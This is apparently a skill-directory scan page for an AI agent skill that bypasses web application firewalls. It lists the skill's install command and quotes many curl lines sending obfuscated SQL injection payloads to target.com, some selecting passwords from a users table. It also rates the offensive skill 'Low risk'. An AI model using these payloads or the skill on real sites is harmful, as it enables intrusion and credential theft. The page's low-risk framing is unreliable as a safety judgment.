← All skills
performing-web-application-firewall-bypass
90 / 100 · Low risk
Fine to try. Some of what it can do is expected: a data skill usually connects to databases or online services with your credentials.
By plurigrid/asi (GitHub) · data · 72 stars · scanned at commit 293ce9f
Bypass Web Application Firewall protections using encoding techniques, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQL injection, XSS, and other attack payloads past WAF detection rules.
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this.
Found in 6 places.
Show 3 more
Sends data to these websites: target.com
The author does not mention this. Expected for a data skill.
Found in 32 places.
Show 17 more
- plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 57
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 60
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 63
curl -X POST http://target.com/search \ - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 67
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 70
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 73
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 76
curl "http://target.com/page?id=1'%00 OR 1=1--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 79
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 85
curl -X PUT "http://target.com/page?id=1' OR 1=1--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 86
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 92
curl -X POST http://target.com/page \ - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 97
curl -X POST http://target.com/page \ - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 104
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 105
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 111
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 114
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--" - plugins/asi/skills/performing-web-application-firewall-bypass/SKILL.md, line 117
curl -X POST http://target.com/api/query \
and 12 more places
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'performing-web-application-firewall-bypass' ] || [ -L ~/.agents/skills/'performing-web-application-firewall-bypass' ]; then echo 'A skill folder named performing-web-application-firewall-bypass already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/plurigrid/asi' "$d" && git -C "$d" checkout --quiet '293ce9f76e3abcd5ba18db284688bc0d9ac6691d' -- 'plugins/asi/skills/performing-web-application-firewall-bypass' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/asi/skills/performing-web-application-firewall-bypass' ~/.agents/skills/'performing-web-application-firewall-bypass' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'performing-web-application-firewall-bypass' ~/.claude/skills/'performing-web-application-firewall-bypass' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for plurigrid/asi shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/plurigrid/asi/)
Score history
| Date | Version | Score |
|---|
| 2026-11-07 | 293ce9f | 90 |